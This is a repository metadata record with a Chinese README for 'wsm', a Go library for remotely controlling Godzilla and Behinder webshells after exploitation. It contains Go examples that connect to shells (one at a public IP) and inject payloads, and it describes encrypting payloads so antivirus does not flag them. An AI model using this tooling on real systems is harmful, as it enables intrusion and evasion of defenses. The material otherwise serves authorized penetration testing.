{"id":20719823,"url":"https://github.com/xiecat/wsm","last_synced_at":"2025-04-23T14:25:59.005Z","repository":{"id":46944794,"uuid":"505774318","full_name":"xiecat/wsm","owner":"xiecat","description":"webshell manager libraries | 网站管理工具","archived":false,"fork":false,"pushed_at":"2022-07-23T04:01:03.000Z","size":8859,"stargazers_count":124,"open_issues_count":1,"forks_count":13,"subscribers_count":5,"default_branch":"main","last_synced_at":"2025-03-30T00:31:36.366Z","etag":null,"topics":["behinder","godzilla","webshell","website-management"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/xiecat.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-06-21T09:24:32.000Z","updated_at":"2025-03-27T06:49:25.000Z","dependencies_parsed_at":"2022-09-23T18:01:44.907Z","dependency_job_id":null,"html_url":"https://github.com/xiecat/wsm","commit_stats":null,"previous_names":[],"tags_count":4,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xiecat%2Fwsm","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xiecat%2Fwsm/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xiecat%2Fwsm/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xiecat%2Fwsm/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/xiecat","download_url":"https://codeload.github.com/xiecat/wsm/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":250450083,"owners_count":21432596,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["behinder","godzilla","webshell","website-management"],"created_at":"2024-11-17T03:18:27.268Z","updated_at":"2025-04-23T14:25:58.978Z","avatar_url":"https://github.com/xiecat.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# wsm\n\n有时候不希望  PoC/Exp 止步于 getshell，还想着自动化进行某些操作，因此有了这个库。通过 wsm 直接管理您的哥斯拉和冰蝎 webshell\n\n## 功能列表\n\n#### 哥斯拉\n\n| 脚本类型  | 支持的加密类型    | 功能支持                                       |\n| --------- | ----------------- | ---------------------------------------------- |\n| asp       | XOR_BS6、XOR_RAW  | 存活验证、基本信息、命令执行、文件、数据库操作 |\n| jsp、jspx | AES_BS64、AES_RAW | 存活验证、基本信息、命令执行、文件、数据库操作 |\n| aspx      | AES_BS64、AES_RAW | 存活验证、基本信息、命令执行、文件、数据库操作 |\n| php       | XOR_BS6、XOR_RAW  | 存活验证、基本信息、命令执行、文件、数据库操作 |\n\n#### 冰蝎\n\n| 脚本类型  | 支持的加密类型 | 功能支持                                       |\n| --------- | -------------- | ---------------------------------------------- |\n| asp       | XOR            | 存活验证、基本信息、命令执行、文件、数据库操作 |\n| jsp、jspx | AES            | 存活验证、基本信息、命令执行、文件、数据库操作 |\n| aspx      | AES            | 存活验证、基本信息、命令执行、文件、数据库操作 |\n| php       | XOR、AES       | 存活验证、基本信息、命令执行、文件、数据库操作 |\n\n## 例子\n\n##### 冰蝎\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/xiecat/wsm\"\n\t\"github.com/xiecat/wsm/lib/shell\"\n\t\"github.com/xiecat/wsm/lib/shell/behinder\"\n\t\"log\"\n)\n\nfunc main() {\n\tinfo := \u0026wsm.BehinderInfo{\n\t\tBaseShell: wsm.BaseShell{\n\t\t\tUrl:      \"http://127.0.0.1:8080/bx.jsp\",\n\t\t\tPassword: \"rebeyond\",\n\t\t\tScript:   shell.JavaScript,\n\t\t\tProxy:    \"http://127.0.0.1:9999\",\n\t\t\tHeaders:  nil,\n\t\t}}\n\tbx, err := wsm.NewBehinder(info)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\t// 验证存活\n\ti, err := bx.Ping()\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\tfmt.Println(i)\n}\n```\n\n##### 哥斯拉\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/xiecat/wsm\"\n\t\"github.com/xiecat/wsm/lib/charset\"\n\t\"github.com/xiecat/wsm/lib/shell\"\n\t\"github.com/xiecat/wsm/lib/shell/godzilla\"\n\t\"log\"\n)\n\nfunc main() {\n\tinfo := \u0026wsm.GodzillaInfo{\n\t\tBaseShell: wsm.BaseShell{\n\t\t\tUrl:      \"http://139.196.175.86:8080/bs64.jsp\",\n\t\t\tPassword: \"pass\",\n\t\t\tScript:   shell.JavaScript,\n\t\t\tProxy:    \"http://127.0.0.1:9999\",\n\t\t},\n\t\tKey:      \"key\",\n\t\tCrypto:   godzilla.JAVA_AES_BASE64,\n\t\tEncoding: charset.UTF8CharSet,\n\t}\n\tg, err := wsm.NewGodzillaInfo(info)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\t// 注入全部的 payload\n\terr = g.InjectPayload()\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\tisAlive, err := g.Ping()\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\tfmt.Println(isAlive)\n}\n```\n\n更多例子可以查看  [**examples**](https://github.com/xiecat/wsm/tree/main/examples)\n\n## 流量解密\n\n支持流量解密\n\n[**examples**](https://github.com/xiecat/wsm/tree/main/examples/decrypt_packets)\n\n## 说明\n\n*[payloads](https://github.com/xiecat/wsm/tree/main/lib/payloads)  通过静态资源的方式使用，同时对原始的 payload文件进行了 gzip 压缩后再 aes 加密，这样做是为了拉取该库时，不被杀软报毒*\n\n## 感谢\n\n[Behinder](https://github.com/rebeyond/Behinder)\n\n[Godzilla](https://github.com/BeichenDream/Godzilla)\n\n[As-Exploits](https://github.com/yzddmr6/As-Exploits)\n\n[每篇文章](https://yzddmr6.com/)\n\n## 注意事项\n\n本库仅供合法的渗透测试以及爱好者参考学习，请勿用于非法用途，否则自行承担相关责任。\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fxiecat%2Fwsm","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fxiecat%2Fwsm","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fxiecat%2Fwsm/lists"}